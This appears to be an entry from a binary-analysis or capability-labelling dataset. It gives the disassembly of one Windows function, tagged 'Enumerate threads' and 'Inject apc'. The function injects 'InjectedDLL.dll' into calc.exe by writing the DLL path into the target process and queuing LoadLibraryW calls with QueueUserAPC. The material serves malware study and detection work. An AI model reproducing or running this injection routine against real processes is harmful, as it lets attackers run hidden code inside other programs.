Function at 0x1400217b6
Capabilities:
Enumerate threads
Inject apc

Disassembly:
jmp 0x14004ef40
push rbp
push rsi
push rdi
sub rsp, 0x5a0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xfc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400a9e80]
xor rax, rbp
mov qword [rbp + 0x568], rax
lea rcx, [0x1400b61ac]
call fcn.140021856
lea rax, [rbp + 8]
lea rcx, str.InjectedDLL.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x278], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x2b4], eax
mov qword [rbp + 0x2d8], 0
mov qword [rbp + 0x2f8], 0
mov qword [rbp + 0x358], 0
mov dword [rbp + 0x374], 0
lea rcx, str.calc.exe
call fcn.140020500
mov dword [rbp + 0x294], eax
cmp dword [rbp + 0x294], 0
jne 0x14004f005
lea rcx, str.win32calc.exe
call fcn.140020500
mov dword [rbp + 0x294], eax
cmp dword [rbp + 0x294], 0
jne 0x14004f021
lea rcx, str.GetProcessIdFromName
call fcn.140020d61
xor eax, eax
jmp 0x14004f31f
lea rcx, [0x14006c808]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
jne 0x14004f052
lea rcx, str.GetModuleHandle
call fcn.140020d61
xor eax, eax
jmp 0x14004f31f
lea rcx, str._t___Looking_for_LoadLibrary_in_kernel32_n
call fcn.1400200d7
lea rdx, str.LoadLibraryW
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
jne 0x14004f096
lea rcx, str.GetProcAddress
call fcn.140020d61
xor eax, eax
jmp 0x14004f31f
mov rdx, qword [rbp + 0x338]
lea rcx, str._t___Found_at_0x_p_n
call fcn.1400200d7
mov edx, dword [rbp + 0x294]
lea rcx, str._t___Getting_proc_id:__u_n
call fcn.1400200d7
mov r8d, dword [rbp + 0x294]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
jne 0x14004f0f3
lea rcx, str.OpenProcess
call fcn.140020d61
xor eax, eax
jmp 0x14004f31f
xor r9d, r9d
lea r8, [rbp + 0x50]
mov edx, 0x104
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rbp + 0x50]
lea rcx, str._t___Full_DLL_Path:__s_n
call fcn.1400200d7
lea rcx, [rbp + 0x50]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov qword [rbp + 0x398], rax
lea rcx, str._t___Allocating_space_for_the_path_of_the_DLL_n
call fcn.1400200d7
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x398]
xor edx, edx
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x358], rax
cmp qword [rbp + 0x358], 0
jne 0x14004f17f
lea rcx, str.VirtualAllocEx
call fcn.140020d61
jmp 0x14004f2ce
mov rdx, qword [rbp + 0x358]
lea rcx, str._t___Writing_into_the_current_process_space_at_0x_p_n
call fcn.140020adc
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x398]
lea r8, [rbp + 0x50]
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14004f1cf
lea rcx, str.WriteProcessMemory
call fcn.140020d61
jmp 0x14004f2ce
xor edx, edx
mov ecx, 4
call fcn.140020b09
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x14004f1f1
jmp 0x14004f2ce
mov dword [rbp + 0x3b8], 0x1c
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0x278]
call fcn.140020ed8
test eax, eax
je 0x14004f2c4
mov eax, dword [rbp + 0x294]
cmp dword [rbp + 0x3c4], eax
jne 0x14004f292
mov r8d, dword [rbp + 0x3c0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0
je 0x14004f292
mov r8, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x14004f285
lea rdx, [rbp + 8]
mov ecx, dword [rbp + 0x294]
call fcn.140021059
test eax, eax
je 0x14004f285
mov dword [rbp + 0x374], 1
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x374], 0
je 0x14004f2a9
lea rcx, str._t___Dll_has_been_injected_successfully_..._n
call fcn.1400200d7
jmp 0x14004f2c4
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0x278]
call fcn.140020262
test eax, eax
jne 0x14004f216
xor eax, eax
test eax, eax
jne 0x14004f0f3
cmp qword [rbp + 0x278], 0xffffffffffffffff
je 0x14004f2e5
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x358], 0
je 0x14004f30c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x374]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14007c6a0]
call fcn.1400213b5
mov rax, rdi
mov rcx, qword [rbp + 0x568]
xor rcx, rbp
call fcn.140020b4a
lea rsp, [rbp + 0x570]
pop rdi
pop rsi
pop rbp
ret